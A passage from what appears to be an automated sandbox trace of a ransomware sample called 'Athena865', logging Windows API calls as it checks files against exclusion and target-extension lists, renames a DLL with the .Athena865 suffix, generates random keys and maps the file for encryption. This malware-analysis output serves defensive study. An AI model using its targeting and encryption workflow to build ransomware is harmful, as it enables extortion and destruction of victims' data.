(lpString1="bskb.dll", lpString2="sas7bdat") returned -1 [0111.134] lstrlenW (lpString="sbf") returned 3 [0111.134] lstrcmpiW (lpString1="dll", lpString2="sbf") returned -1 [0111.134] lstrlenW (lpString="scx") returned 3 [0111.134] lstrcmpiW (lpString1="dll", lpString2="scx") returned -1 [0111.134] lstrlenW (lpString="sdb") returned 3 [0111.134] lstrcmpiW (lpString1="dll", lpString2="sdb") returned -1 [0111.134] lstrlenW (lpString="sdc") returned 3 [0111.134] lstrcmpiW (lpString1="dll", lpString2="sdc") returned -1 [0111.134] lstrlenW (lpString="sdf") returned 3 [0111.134] lstrcmpiW (lpString1="dll", lpString2="sdf") returned -1 [0111.135] lstrlenW (lpString="sis") returned 3 [0111.135] lstrcmpiW (lpString1="dll", lpString2="sis") returned -1 [0111.135] lstrlenW (lpString="spq") returned 3 [0111.135] lstrcmpiW (lpString1="dll", lpString2="spq") returned -1 [0111.135] lstrlenW (lpString="te") returned 2 [0111.135] lstrcmpiW (lpString1="ll", lpString2="te") returned -1 [0111.135] lstrlenW (lpString="teacher") returned 7 [0111.135] lstrcmpiW (lpString1="skb.dll", lpString2="teacher") returned -1 [0111.135] lstrlenW (lpString="tmd") returned 3 [0111.135] lstrcmpiW (lpString1="dll", lpString2="tmd") returned -1 [0111.135] lstrlenW (lpString="tps") returned 3 [0111.135] lstrcmpiW (lpString1="dll", lpString2="tps") returned -1 [0111.135] lstrlenW (lpString="trc") returned 3 [0111.135] lstrcmpiW (lpString1="dll", lpString2="trc") returned -1 [0111.135] lstrlenW (lpString="trc") returned 3 [0111.135] lstrcmpiW (lpString1="dll", lpString2="trc") returned -1 [0111.135] lstrlenW (lpString="trm") returned 3 [0111.135] lstrcmpiW (lpString1="dll", lpString2="trm") returned -1 [0111.135] lstrlenW (lpString="udb") returned 3 [0111.135] lstrcmpiW (lpString1="dll", lpString2="udb") returned -1 [0111.135] lstrlenW (lpString="udl") returned 3 [0111.135] lstrcmpiW (lpString1="dll", lpString2="udl") returned -1 [0111.135] lstrlenW (lpString="usr") returned 3 [0111.135] lstrcmpiW (lpString1="dll", lpString2="usr") returned -1 [0111.135] lstrlenW (lpString="v12") returned 3 [0111.135] lstrcmpiW (lpString1="dll", lpString2="v12") returned -1 [0111.135] lstrlenW (lpString="vis") returned 3 [0111.135] lstrcmpiW (lpString1="dll", lpString2="vis") returned -1 [0111.135] lstrlenW (lpString="vpd") returned 3 [0111.135] lstrcmpiW (lpString1="dll", lpString2="vpd") returned -1 [0111.136] lstrlenW (lpString="vvv") returned 3 [0111.136] lstrcmpiW (lpString1="dll", lpString2="vvv") returned -1 [0111.136] lstrlenW (lpString="wdb") returned 3 [0111.136] lstrcmpiW (lpString1="dll", lpString2="wdb") returned -1 [0111.136] lstrlenW (lpString="wmdb") returned 4 [0111.136] lstrcmpiW (lpString1=".dll", lpString2="wmdb") returned -1 [0111.136] lstrlenW (lpString="wrk") returned 3 [0111.136] lstrcmpiW (lpString1="dll", lpString2="wrk") returned -1 [0111.136] lstrlenW (lpString="xdb") returned 3 [0111.136] lstrcmpiW (lpString1="dll", lpString2="xdb") returned -1 [0111.136] lstrlenW (lpString="xld") returned 3 [0111.136] lstrcmpiW (lpString1="dll", lpString2="xld") returned -1 [0111.136] lstrlenW (lpString="xmlff") returned 5 [0111.136] lstrcmpiW (lpString1="b.dll", lpString2="xmlff") returned -1 [0111.136] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\tabskb.dll.Athena865") returned 71 [0111.136] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\tabskb.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\tabskb.dll"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\tabskb.dll.Athena865" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\tabskb.dll.athena865"), dwFlags=0x1) returned 1 [0111.137] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\tabskb.dll.Athena865" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\tabskb.dll.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0111.138] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=448000) returned 1 [0111.138] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0111.138] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x538d20 [0111.138] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519cc8 [0111.138] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519c40) returned 1 [0111.139] CryptGenRandom (in: hProv=0x519c40, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0111.139] CryptReleaseContext (hProv=0x519c40, dwFlags=0x0) returned 1 [0111.139] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x6d900, lpName=0x0) returned 0x17c [0111.141] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x6d900) returned 0x2d50000 [0111.201] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519c40) returned 1 [0111.202] CryptGenRandom (in: hProv=0x519c40, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0111.202] CryptReleaseContext (hProv=0x519c40, dwFlags=0x0) returned 1 [0111.202] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540cd0 [0111.202] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540cd0 | out: hHeap=0x4f0000) returned 1 [0111.202] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x54dd40 [0111.203] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0111.203] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54dd40 | out: hHeap=0x4f0000) returned 1 [0111.203] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0111.203] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x54dd40 [0111.203] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0111.203] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54dd40 | out: hHeap=0x4f0000) returned 1 [0111.203] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0111.203] UnmapViewOfFile (lpBaseAddress=0x2d50000) returned 1 [0111.207] CloseHandle (hObject=0x17c) returned 1 [0111.207] CloseHandle (hObject=0x154) returned 1 [0111.207] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x538d20 | out: hHeap=0x4f0000) returned 1 [0111.207] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519cc8 | out: hHeap=0x4f0000) returned 1 [0111.207] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0111.209] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x45c03bb8, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x45c03bb8, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0xf8825d20, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x36c00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="TabTip.exe", cAlternateFileName="")) returned 1 [0111.209] lstrcmpiW (lpString1="TabTip.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0111.209] lstrcmpiW (lpString1="TabTip.exe", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0111.209] lstrcmpiW (lpString1="TabTip.exe", lpString2=".") returned 1 [0111.209] lstrcmpiW (lpString1="TabTip.exe", lpString2="..") returned 1 [0111.209] lstrcmpiW (lpString1="TabTip.exe", lpString2="windows") returned -1 [0111.209] lstrcmpiW (lpString1="TabTip.exe", lpString2="bootmgr") returned 1 [0111.209] lstrcmpiW (lpString1="TabTip.exe", lpString2="temp") returned -1 [0111.210] lstrcmpiW (lpString1="TabTip.exe", lpString2="pagefile.sys") returned 1 [0111.210] lstrcmpiW (lpString1="TabTip.exe", lpString2="boot") returned 1 [0111.210] lstrcmpiW (lpString1="TabTip.exe", lpString2="ids.txt") returned 1 [0111.210] lstrcmpiW (lpString1="TabTip.exe", lpString2="ntuser.dat") returned 1 [0111.210] lstrcmpiW (lpString1="TabTip.exe", lpString2="perflogs") returned 1 [0111.210] lstrcmpiW (lpString1="TabTip.exe", lpString2="MSBuild") returned 1 [0111.210] lstrlenW (lpString="TabTip.exe") returned 10 [0111.210] lstrcpyW (in: lpString1=0x241e8ae, lpString2="TabTip.exe" | out: lpString1="TabTip.exe") returned="TabTip.exe" [0111.210] lstrlenW (lpString="TabTip.exe") returned 10 [0111.210] lstrlenW (lpString="Athena865") returned 9 [0111.210] lstrcmpiW (lpString1="abTip.exe", lpString2="Athena865") returned -1 [0111.210] lstrlenW (lpString=".dll") returned 4 [0111.210] lstrcmpiW (lpString1="TabTip.exe", lpString2=".dll") returned 1 [0111.210] lstrlenW (lpString=".lnk") returned 4 [0111.210] lstrcmpiW (lpString1="TabTip.exe", lpString2=".lnk") returned 1 [0111.210] lstrlenW (lpString=".ini") returned 4 [0111.210] lstrcmpiW (lpString1="TabTip.exe", lpString2=".ini") returned 1 [0111.210] lstrlenW (lpString=".sys") returned 4 [0111.210] lstrcmpiW (lpString1="TabTip.exe", lpString2=".sys") returned 1 [0111.210] lstrlenW (lpString="TabTip.exe") returned 10 [0111.210] lstrlenW (lpString="bak") returned 3 [0111.210] lstrcmpiW (lpString1="exe", lpString2="bak") returned 1 [0111.210] lstrlenW (lpString="ba_") returned 3 [0111.210] lstrcmpiW (lpString1="exe", lpString2="ba_") returned 1 [0111.210] lstrlenW (lpString="dbb") returned 3 [0111.210] lstrcmpiW (lpString1="exe", lpString2="dbb") returned 1 [0111.210] lstrlenW (lpString="vmdk") returned 4 [0111.210] lstrcmpiW (lpString1=".exe", lpString2="vmdk") returned -1 [0111.210] lstrlenW (lpString="rar") returned 3 [0111.211] lstrcmpiW (lpString1="exe", lpString2="rar") returned -1 [0111.211] lstrlenW (lpString="zip") returned 3 [0111.211] lstrcmpiW (lpString1="exe", lpString2="zip") returned -1 [0111.211] lstrlenW (lpString="tgz") returned 3 [0111.211] lstrcmpiW (lpString1="exe", lpString2="tgz") returned -1 [0111.211] lstrlenW (lpString="vbox") returned 4 [0111.211] lstrcmpiW (lpString1=".exe", lpString2="vbox") returned -1 [0111.211] lstrlenW (lpString="vdi") returned 3 [0111.211] lstrcmpiW (lpString1="exe", lpString2="vdi") returned -1 [0111.211] lstrlenW (lpString="vhd") returned 3 [0111.211] lstrcmpiW (lpString1="exe", lpString2="vhd") returned -1 [0111.211] lstrlenW (lpString="vhdx") returned 4 [0111.211] lstrcmpiW (lpString1=".exe", lpString2="vhdx") returned -1 [0111.211] lstrlenW (lpString="avhd") returned 4 [0111.211] lstrcmpiW (lpString1=".exe", lpString2="avhd") returned -1 [0111.211] lstrlenW (lpString="db") returned 2 [0111.211] lstrcmpiW (lpString1="xe", lpString2="db") returned 1 [0111.211] lstrlenW (lpString="db2") returned 3 [0111.211] lstrcmpiW (lpString1="exe", lpString2="db2") returned 1 [0111.211] lstrlenW (lpString="db3") returned 3 [0111.211] lstrcmpiW (lpString1="exe", lpString2="db3") returned 1 [0111.211] lstrlenW (lpString="dbf") returned 3 [0111.211] lstrcmpiW (lpString1="exe", lpString2="dbf") returned 1 [0111.211] lstrlenW (lpString="mdf") returned 3 [0111.211] lstrcmpiW (lpString1="exe", lpString2="mdf") returned -1 [0111.211] lstrlenW (lpString="mdb") returned 3 [0111.211] lstrcmpiW (lpString1="exe", lpString2="mdb") returned -1 [0111.211] lstrlenW (lpString="sql") returned 3 [0111.211] lstrcmpiW (lpString1="exe", lpString2="sql") returned -1 [0111.211] lstrlenW (lpString="sqlite") returned 6 [0111.212] lstrcmpiW (lpString1="ip.exe", lpString2="sqlite") returned -1 [0111.212] lstrlenW (lpString="sqlite3") returned 7 [0111.212] lstrcmpiW (lpString1="Tip.exe", lpString2="sqlite3") returned 1 [0111.212] lstrlenW (lpString="sqlitedb") returned 8 [0111.212] lstrcmpiW (lpString1="bTip.exe", lpString2="sqlitedb") returned -1 [0111.212] lstrlenW (lpString="xml") returned 3 [0111.212] lstrcmpiW (lpString1="exe", lpString2="xml") returned -1 [0111.212] lstrlenW (lpString="$er") returned 3 [0111.212] lstrcmpiW (lpString1="exe", lpString2="$er") returned 1 [0111.212] lstrlenW (lpString="4dd") returned 3 [0111.212] lstrcmpiW (lpString1="exe", lpString2="4dd") returned 1 [0111.212] lstrlenW (lpString="4dl") returned 3 [0111.212] lstrcmpiW (lpString1="exe", lpString2="4dl") returned 1 [0111.212] lstrlenW (lpString="^^^") returned 3 [0111.212] lstrcmpiW (lpString1="exe", lpString2="^^^") returned 1 [0111.212] lstrlenW (lpString="abs") returned 3 [0111.212] lstrcmpiW (lpString1="exe", lpString2="abs") returned 1 [0111.212] lstrlenW (lpString="abx") returned 3 [0111.212] lstrcmpiW (lpString1="exe", lpString2="abx") returned 1 [0111.212] lstrlenW (lpString="accdb") returned 5 [0111.212] lstrcmpiW (lpString1="p.exe", lpString2="accdb") returned 1 [0111.212] lstrlenW (lpString="accdc") returned 5 [0111.212] lstrcmpiW (lpString1="p.exe", lpString2="accdc") returned 1 [0111.212] lstrlenW (lpString="accde") returned 5 [0111.212] lstrcmpiW (lpString1="p.exe", lpString2="accde") returned 1 [0111.212] lstrlenW (lpString="accdr") returned 5 [0111.212] lstrcmpiW (lpString1="p.exe", lpString2="accdr") returned 1 [0111.212] lstrlenW (lpString="accdt") returned 5 [0111.212] lstrcmpiW (lpString1="p.exe", lpString2="accdt") returned 1 [0111.213] lstrlenW (lpString="accdw") returned 5 [0111.213] lstrcmpiW (lpString1="p.exe", lpString2="accdw") returned 1 [0111.213] lstrlenW (lpString="accft") returned 5 [0111.213] lstrcmpiW (lpString1="p.exe", lpString2="accft") returned 1 [0111.213] lstrlenW (lpString="adb") returned 3 [0111.213] lstrcmpiW (lpString1="exe", lpString2="adb") returned 1 [0111.213] lstrlenW (lpString="adb") returned 3 [0111.213] lstrcmpiW (lpString1="exe", lpString2="adb") returned 1 [0111.213] lstrlenW (lpString="ade") returned 3 [0111.213] lstrcmpiW (lpString1="exe", lpString2="ade") returned 1 [0111.213] lstrlenW (lpString="adf") returned 3 [0111.213] lstrcmpiW (lpString1="exe", lpString2="adf") returned 1 [0111.213] lstrlenW (lpString="adn") returned 3 [0111.213] lstrcmpiW (lpString1="exe", lpString2="adn") returned 1 [0111.213] lstrlenW (lpString="adp") returned 3 [0111.213] lstrcmpiW (lpString1="exe", lpString2="adp") returned 1 [0111.213] lstrlenW (lpString="alf") returned 3 [0111.213] lstrcmpiW (lpString1="exe", lpString2="alf") returned 1 [0111.213] lstrlenW (lpString="ask") returned 3 [0111.213] lstrcmpiW (lpString1="exe", lpString2="ask") returned 1 [0111.213] lstrlenW (lpString="btr") returned 3 [0111.213] lstrcmpiW (lpString1="exe", lpString2="btr") returned 1 [0111.213] lstrlenW (lpString="cat") returned 3 [0111.213] lstrcmpiW (lpString1="exe", lpString2="cat") returned 1 [0111.213] lstrlenW (lpString="cdb") returned 3 [0111.213] lstrcmpiW (lpString1="exe", lpString2="cdb") returned 1 [0111.213] lstrlenW (lpString="ckp") returned 3 [0111.213] lstrcmpiW (lpString1="exe", lpString2="ckp") returned 1 [0111.213] lstrlenW (lpString="cma") returned 3 [0111.214] lstrcmpiW (lpString1="exe", lpString2="cma") returned 1 [0111.214] lstrlenW (lpString="cpd") returned 3 [0111.214] lstrcmpiW (lpString1="exe", lpString2="cpd") returned 1 [0111.214] lstrlenW (lpString="dacpac") returned 6 [0111.214] lstrcmpiW (lpString1="ip.exe", lpString2="dacpac") returned 1 [0111.214] lstrlenW (lpString="dad") returned 3 [0111.214] lstrcmpiW (lpString1="exe", lpString2="dad") returned 1 [0111.214] lstrlenW (lpString="dadiagrams") returned 10 [0111.214] lstrlenW (lpString="daschema") returned 8 [0111.214] lstrcmpiW (lpString1="bTip.exe", lpString2="daschema") returned -1 [0111.214] lstrlenW (lpString="db-journal") returned 10 [0111.214] lstrlenW (lpString="db-shm") returned 6 [0111.214] lstrcmpiW (lpString1="ip.exe", lpString2="db-shm") returned 1 [0111.214] lstrlenW (lpString="db-wal") returned 6 [0111.214] lstrcmpiW (lpString1="ip.exe", lpString2="db-wal") returned 1 [0111.214] lstrlenW (lpString="dbc") returned 3 [0111.214] lstrcmpiW (lpString1="exe", lpString2="dbc") returned 1 [0111.214] lstrlenW (lpString="dbs") returned 3 [0111.214] lstrcmpiW (lpString1="exe", lpString2="dbs") returned 1 [0111.214] lstrlenW (lpString="dbt") returned 3 [0111.214] lstrcmpiW (lpString1="exe", lpString2="dbt") returned 1 [0111.214] lstrlenW (lpString="dbv") returned 3 [0111.214] lstrcmpiW (lpString1="exe", lpString2="dbv") returned 1 [0111.216] lstrlenW (lpString="dbx") returned 3 [0111.217] lstrcmpiW (lpString1="exe", lpString2="dbx") returned 1 [0111.217] lstrlenW (lpString="dcb") returned 3 [0111.217] lstrcmpiW (lpString1="exe", lpString2="dcb") returned 1 [0111.217] lstrlenW (lpString="dct") returned 3 [0111.217] lstrcmpiW (lpString1="exe", lpString2="dct") returned 1 [0111.217] lstrlenW (lpString="dcx") returned 3 [0111.217] lstrcmpiW (lpString1="exe", lpString2="dcx") returned 1 [0111.217] lstrlenW (lpString="ddl") returned 3 [0111.217] lstrcmpiW (lpString1="exe", lpString2="ddl") returned 1 [0111.217] lstrlenW (lpString="dlis") returned 4 [0111.217] lstrcmpiW (lpString1=".exe", lpString2="dlis") returned -1 [0111.217] lstrlenW (lpString="dp1") returned 3 [0111.217] lstrcmpiW (lpString1="exe", lpString2="dp1") returned 1 [0111.217] lstrlenW (lpString="dqy") returned 3 [0111.217] lstrcmpiW (lpString1="exe", lpString2="dqy") returned 1 [0111.217] lstrlenW (lpString="dsk") returned 3 [0111.217] lstrcmpiW (lpString1="exe", lpString2="dsk") returned 1 [0111.217] lstrlenW (lpString="dsn") returned 3 [0111.217] lstrcmpiW (lpString1="exe", lpString2="dsn") returned 1 [0111.217] lstrlenW (lpString="dtsx") returned 4 [0111.217] lstrcmpiW (lpString1=".exe", lpString2="dtsx") returned -1 [0111.217] lstrlenW (lpString="dxl") returned 3 [0111.217] lstrcmpiW (lpString1="exe", lpString2="dxl") returned 1 [0111.217] lstrlenW (lpString="eco") returned 3 [0111.217] lstrcmpiW (lpString1="exe", lpString2="eco") returned 1 [0111.217] lstrlenW (lpString="ecx") returned 3 [0111.217] lstrcmpiW (lpString1="exe", lpString2="ecx") returned 1 [0111.217] lstrlenW (lpString="edb") returned 3 [0111.218] lstrcmpiW (lpString1="exe", lpString2="edb") returned 1 [0111.218] lstrlenW (lpString="epim") returned 4 [0111.218] lstrcmpiW (lpString1=".exe", lpString2="epim") returned -1 [0111.218] lstrlenW (lpString="fcd") returned 3 [0111.218] lstrcmpiW (lpString1="exe", lpString2="fcd") returned -1 [0111.218] lstrlenW (lpString="fdb") returned 3 [0111.218] lstrcmpiW (lpString1="exe", lpString2="fdb") returned -1 [0111.218] lstrlenW (lpString="fic") returned 3 [0111.218] lstrcmpiW (lpString1="exe", lpString2="fic") returned -1 [0111.218] lstrlenW (lpString="flexolibrary") returned 12 [0111.218] lstrlenW (lpString="fm5") returned 3 [0111.218] lstrcmpiW (lpString1="exe", lpString2="fm5") returned -1 [0111.218] lstrlenW (lpString="fmp") returned 3 [0111.218] lstrcmpiW (lpString1="exe", lpString2="fmp") returned -1 [0111.218] lstrlenW (lpString="fmp12") returned 5 [0111.218] lstrcmpiW (lpString1="p.exe", lpString2="fmp12") returned 1 [0111.218] lstrlenW (lpString="fmpsl") returned 5 [0111.218] lstrcmpiW (lpString1="p.exe", lpString2="fmpsl") returned 1 [0111.218] lstrlenW (lpString="fol") returned 3 [0111.218] lstrcmpiW (lpString1="exe", lpString2="fol") returned -1 [0111.218] lstrlenW (lpString="fp3") returned 3 [0111.218] lstrcmpiW (lpString1="exe", lpString2="fp3") returned -1 [0111.218] lstrlenW (lpString="fp4") returned 3 [0111.218] lstrcmpiW (lpString1="exe", lpString2="fp4") returned -1 [0111.218] lstrlenW (lpString="fp5") returned 3 [0111.218] lstrcmpiW (lpString1="exe", lpString2="fp5") returned -1 [0111.218] lstrlenW (lpString="fp7") returned 3 [0111.218] lstrcmpiW (lpString1="exe", lpString2="fp7") returned -1 [0111.219] lstrlenW (lpString="fpt") returned 3 [0111.219] lstrcmpiW (lpString1="exe", lpString2="fpt") returned -1 [0111.219] lstrlenW (lpString="frm") returned 3 [0111.219] lstrcmpiW (lpString1="exe", lpString2="frm") returned -1 [0111.219] lstrlenW (lpString="gdb") returned 3 [0111.219] lstrcmpiW (lpString1="exe", lpString2="gdb") returned -1 [0111.219] lstrlenW (lpString="gdb") returned 3 [0111.219] lstrcmpiW (lpString1="exe", lpString2="gdb") returned -1 [0111.219] lstrlenW (lpString="grdb") returned 4 [0111.219] lstrcmpiW (lpString1=".exe", lpString2="grdb") returned -1 [0111.219] lstrlenW (lpString="gwi") returned 3 [0111.219] lstrcmpiW (lpString1="exe", lpString2="gwi") returned -1 [0111.219] lstrlenW (lpString="hdb") returned 3 [0111.219] lstrcmpiW (lpString1="exe", lpString2="hdb") returned -1 [0111.219] lstrlenW (lpString="his") returned 3 [0111.219] lstrcmpiW (lpString1="exe", lpString2="his") returned -1 [0111.219] lstrlenW (lpString="ib") returned 2 [0111.219] lstrcmpiW (lpString1="xe", lpString2="ib") returned 1 [0111.219] lstrlenW (lpString="idb") returned 3 [0111.219] lstrcmpiW (lpString1="exe", lpString2="idb") returned -1 [0111.219] lstrlenW (lpString="ihx") returned 3 [0111.219] lstrcmpiW (lpString1="exe", lpString2="ihx") returned -1 [0111.219] lstrlenW (lpString="itdb") returned 4 [0111.219] lstrcmpiW (lpString1=".exe", lpString2="itdb") returned -1 [0111.219] lstrlenW (lpString="itw") returned 3 [0111.219] lstrcmpiW (lpString1="exe", lpString2="itw") returned -1 [0111.219] lstrlenW (lpString="jet") returned 3 [0111.219] lstrcmpiW (lpString1="exe", lpString2="jet") returned -1 [0111.219] lstrlenW (lpString="jtx") returned 3 [0111.220] lstrcmpiW (lpString1="exe", lpString2="jtx") returned -1 [0111.220] lstrlenW (lpString="kdb") returned 3 [0111.220] lstrcmpiW (lpString1="exe", lpString2="kdb") returned -1 [0111.220] lstrlenW (lpString="kexi") returned 4 [0111.220] lstrcmpiW (lpString1=".exe", lpString2="kexi") returned -1 [0111.220] lstrlenW (lpString="kexic") returned 5 [0111.220] lstrcmpiW (lpString1="p.exe", lpString2="kexic") returned 1 [0111.220] lstrlenW (lpString="kexis") returned 5 [0111.220] lstrcmpiW (lpString1="p.exe", lpString2="kexis") returned 1 [0111.220] lstrlenW (lpString="lgc") returned 3 [0111.220] lstrcmpiW (lpString1="exe", lpString2="lgc") returned -1 [0111.220] lstrlenW (lpString="lwx") returned 3 [0111.220] lstrcmpiW (lpString1="exe", lpString2="lwx") returned -1 [0111.220] lstrlenW (lpString="maf") returned 3 [0111.220] lstrcmpiW (lpString1="exe", lpString2="maf") returned -1 [0111.220] lstrlenW (lpString="maq") returned 3 [0111.220] lstrcmpiW (lpString1="exe", lpString2="maq") returned -1 [0111.220] lstrlenW (lpString="mar") returned 3 [0111.220] lstrcmpiW (lpString1="exe", lpString2="mar") returned -1 [0111.220] lstrlenW (lpString="marshal") returned 7 [0111.220] lstrcmpiW (lpString1="Tip.exe", lpString2="marshal") returned 1 [0111.220] lstrlenW (lpString="mas") returned 3 [0111.220] lstrcmpiW (lpString1="exe", lpString2="mas") returned -1 [0111.220] lstrlenW (lpString="mav") returned 3 [0111.220] lstrcmpiW (lpString1="exe", lpString2="mav") returned -1 [0111.220] lstrlenW (lpString="maw") returned 3 [0111.220] lstrcmpiW (lpString1="exe", lpString2="maw") returned -1 [0111.220] lstrlenW (lpString="mdbhtml") returned 7 [0111.220] lstrcmpiW (lpString1="Tip.exe", lpString2="mdbhtml") returned 1 [0111.220] lstrlenW (lpString="mdn") returned 3 [0111.221] lstrcmpiW (lpString1="exe", lpString2="mdn") returned -1 [0111.221] lstrlenW (lpString="mdt") returned 3 [0111.221] lstrcmpiW (lpString1="exe", lpString2="mdt") returned -1 [0111.221] lstrlenW (lpString="mfd") returned 3 [0111.221] lstrcmpiW (lpString1="exe", lpString2="mfd") returned -1 [0111.221] lstrlenW (lpString="mpd") returned 3 [0111.221] lstrcmpiW (lpString1="exe", lpString2="mpd") returned -1 [0111.221] lstrlenW (lpString="mrg") returned 3 [0111.221] lstrcmpiW (lpString1="exe", lpString2="mrg") returned -1 [0111.221] lstrlenW (lpString="mud") returned 3 [0111.221] lstrcmpiW (lpString1="exe", lpString2="mud") returned -1 [0111.221] lstrlenW (lpString="mwb") returned 3 [0111.221] lstrcmpiW (lpString1="exe", lpString2="mwb") returned -1 [0111.221] lstrlenW (lpString="myd") returned 3 [0111.221] lstrcmpiW (lpString1="exe", lpString2="myd") returned -1 [0111.221] lstrlenW (lpString="ndf") returned 3 [0111.221] lstrcmpiW (lpString1="exe", lpString2="ndf") returned -1 [0111.221] lstrlenW (lpString="nnt") returned 3 [0111.221] lstrcmpiW (lpString1="exe", lpString2="nnt") returned -1 [0111.221] lstrlenW (lpString="nrmlib") returned 6 [0111.221] lstrcmpiW (lpString1="ip.exe", lpString2="nrmlib") returned -1 [0111.221] lstrlenW (lpString="ns2") returned 3 [0111.221] lstrcmpiW (lpString1="exe", lpString2="ns2") returned -1 [0111.221] lstrlenW (lpString="ns3") returned 3 [0111.221] lstrcmpiW (lpString1="exe", lpString2="ns3") returned -1 [0111.221] lstrlenW (lpString="ns4") returned 3 [0111.221] lstrcmpiW (lpString1="exe", lpString2="ns4") returned -1 [0111.221] lstrlenW (lpString="nsf") returned 3 [0111.221] lstrcmpiW (lpString1="exe", lpString2="nsf") returned -1 [0111.222] lstrlenW (lpString="nv") returned 2 [0111.222] lstrcmpiW (lpString1="xe", lpString2="nv") returned 1 [0111.222] lstrlenW (lpString="nv2") returned 3 [0111.222] lstrcmpiW (lpString1="exe", lpString2="nv2") returned -1 [0111.222] lstrlenW (lpString="nwdb") returned 4 [0111.222] lstrcmpiW (lpString1=".exe", lpString2="nwdb") returned -1 [0111.222] lstrlenW (lpString="nyf") returned 3 [0111.222] lstrcmpiW (lpString1="exe", lpString2="nyf") returned -1 [0111.222] lstrlenW (lpString="odb") returned 3 [0111.222] lstrcmpiW (lpString1="exe", lpString2="odb") returned -1 [0111.222] lstrlenW (lpString="odb") returned 3 [0111.222] lstrcmpiW (lpString1="exe", lpString2="odb") returned -1 [0111.222] lstrlenW (lpString="oqy") returned 3 [0111.222] lstrcmpiW (lpString1="exe", lpString2="oqy") returned -1 [0111.222] lstrlenW (lpString="ora") returned 3 [0111.222] lstrcmpiW (lpString1="exe", lpString2="ora") returned -1 [0111.222] lstrlenW (lpString="orx") returned 3 [0111.222] lstrcmpiW (lpString1="exe", lpString2="orx") returned -1 [0111.222] lstrlenW (lpString="owc") returned 3 [0111.222] lstrcmpiW (lpString1="exe", lpString2="owc") returned -1 [0111.222] lstrlenW (lpString="p96") returned 3 [0111.222] lstrcmpiW (lpString1="exe", lpString2="p96") returned -1 [0111.222] lstrlenW (lpString="p97") returned 3 [0111.222] lstrcmpiW (lpString1="exe", lpString2="p97") returned -1 [0111.222] lstrlenW (lpString="pan") returned 3 [0111.222] lstrcmpiW (lpString1="exe", lpString2="pan") returned -1 [0111.222] lstrlenW (lpString="pdb") returned 3 [0111.222] lstrcmpiW (lpString1="exe", lpString2="pdb") returned -1 [0111.222] lstrlenW (lpString="pdm") returned 3 [0111.223] lstrcmpiW (lpString1="exe", lpString2="pdm") returned -1 [0111.223] lstrlenW (lpString="pnz") returned 3 [0111.223] lstrcmpiW (lpString1="exe", lpString2="pnz") returned -1 [0111.223] lstrlenW (lpString="qry") returned 3 [0111.223] lstrcmpiW (lpString1="exe", lpString2="qry") returned -1 [0111.223] lstrlenW (lpString="qvd") returned 3 [0111.223] lstrcmpiW (lpString1="exe", lpString2="qvd") returned -1 [0111.223] lstrlenW (lpString="rbf") returned 3 [0111.223] lstrcmpiW (lpString1="exe", lpString2="rbf") returned -1 [0111.223] lstrlenW (lpString="rctd") returned 4 [0111.223] lstrcmpiW (lpString1=".exe", lpString2="rctd") returned -1 [0111.223] lstrlenW 